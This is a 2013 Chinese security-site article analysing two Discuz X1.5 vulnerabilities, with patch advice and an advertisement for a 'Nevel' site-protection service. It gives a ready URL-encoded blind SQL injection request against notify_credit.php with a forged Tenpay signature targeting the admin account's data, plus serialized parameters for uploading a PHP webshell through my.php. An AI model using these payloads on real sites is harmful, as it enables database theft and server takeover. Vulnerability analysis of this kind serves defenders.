移动安全 安全管理 应用案例 网络威胁 系统安全 应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 移动安全 >

安全研究报告:解析Discuz X1.5 0Day漏洞

时间:2013-03-11 15:12来源: 点击:
Discuz X1.5最近被爆出0Day,利用该0Day可以直接获取WebShell,危害等级高,获取服务器的管理权限;下面我们一起来看看漏洞成因。 安全研究报告:解析Discuz X1.5 0Day漏洞
TagsPHP(12)注入漏洞(26)Discuz(3)params(2)安(53)  

  Discuz X1.5最近被爆出0Day,利用该0Day可以直接获取WebShell,危害等级高,获取的管理权限;下面我们一起来看看漏洞成因。

  在api/trade/notify_credit.php的27行处,程序将$notifydata[‘order_no’]直接赋给$orderid,并带入到查询。

  接着往上看,$notifydata是如何产生的,发现如下:

  $notifydata 是由函数trade_notifycheck函数返回的数组变量,在api/trade/api_tenpay.php中432行,

  正常情况下,Discuz对用户传入的变量都有进行转义处理,但在api_tenpay.php中,却是重新获取$_GET,$_POST变量来进行处理,而且没有进行任何过滤处理,

  显然在上面的参数获取和传递过程中,没有对变量进行任何过滤,因此攻击者可以通过对mch_vno变量进行恶意构造,从而控制$orderid,最后导致在数据库查询处产生注入漏洞。

  下面来进行有效的恶意攻击代码构造:

  由于Discuz对提交的参数会有个校验值,因此我们需要重新计算自己的校验值:

  $resHandler->isTenpaySign()

  为了让程序按照我们的流程执行,在这里我们需要对这几个变量赋值:

  attach=tenpay /*包含漏洞所在文件*/

  retcode=0 /*使$notifydata['validator']=1*/

  mch_vno=$sql_exp /*恶意构造,直接带入数据库查询的语句*/

  因此我们自己构造的校验值计算如下:

  sign= md5(“key=&attach=tenpay&mch_vno=$sql_exp&retcode=0”),

  由于该注入过程中没有显错信息,只能利用盲注来进行密码的猜解,为了达到更好地演示效果,我们这里将最终带入数据库的SQL语句显示出来,在source/class/class_core.php的663行中,进行如下修改:

  构造的Sql_Exp:

  api/trade/notify_credit.php?attach=tenpay&retcode=0&mch_vno=%2527%

  2Band%2B%25271%2527%253D%25272%2527%2BUNION%2BSELECT%2B0%252C1%252C0%252C0%252C0%252C0%

  252C0%252C0%252C0%252C0%2BFROM%2Bpre_common_member_field_home%2BWHERE%2Buid%253D1%2BAND%

  2B%2527%2527%253D%2527&sign=233afe848a5d4b994871dad94901fd4e

  在本地演示的效果如下:

  显然我们已经成功的控制参数mch_vno,并能产生明显的SQL注入攻击。

  下面我们来看看/api/manyou/my.php的上传漏洞:

  在my.php中,首选创建一个继承Manyou的类My,然后创建一个My的实例,接着调用Manyou父类的run()函数,我们跟进run()函数查看:

  在run()函数中,程序会调用_processServerRequest()对提交的参数进行处理,而该函数会获取客户端POST提交的参数,根据提交的参数获取相应的扩展接口,

  而在my.php文件中的onVideoAuthAuth的函数中,由于没有对文件的扩展名进行判断,因此我们可以直接构造php一句话,利用该函数写入一句话,因此这样我们需要提交的参数构造如下:

  构造的Upload_Exp:

  $module = ‘video’;

  $method = ‘authauth’;

  $params=array(0=>1,1=>base64_encode(“”),2=>”php”);

  $params=serialize($params);

  但是由于上传成功后,Discuz并不会返回shell的文件名的和路径,因此需要借助注入漏洞来猜解文件的路径,因此上传漏洞的成功利用还需要借助注入的辅助。

  安全建议:

  1.下载官方补丁或下载最新的Discuz版本程序使用;

  2.直接用网站保护系统,可以无需补丁。

  对于没有第一时间打上补丁的网站,很容易成为的攻击目标,从而导致网站被或数据被删除,或者沦为黑客的肉鸡;笔者有幸拿到了Nevel网站保护系统的邀请码,对于加入Nevel保护的网站,则完全不用担心这些问题,因为当攻击者尝试提交这些的时候,Nevel会检测到这些攻击代码,当检测到这些代码的时候直接将这些数据丢弃,并不会传到你的服务器进行响应,也就不会产生安全,更不会被入侵;下面是对加入Nevel保护的网站进行攻击的效果图,如下图:

  (责任编辑:钼铁)

------分隔线----------------------------

推荐内容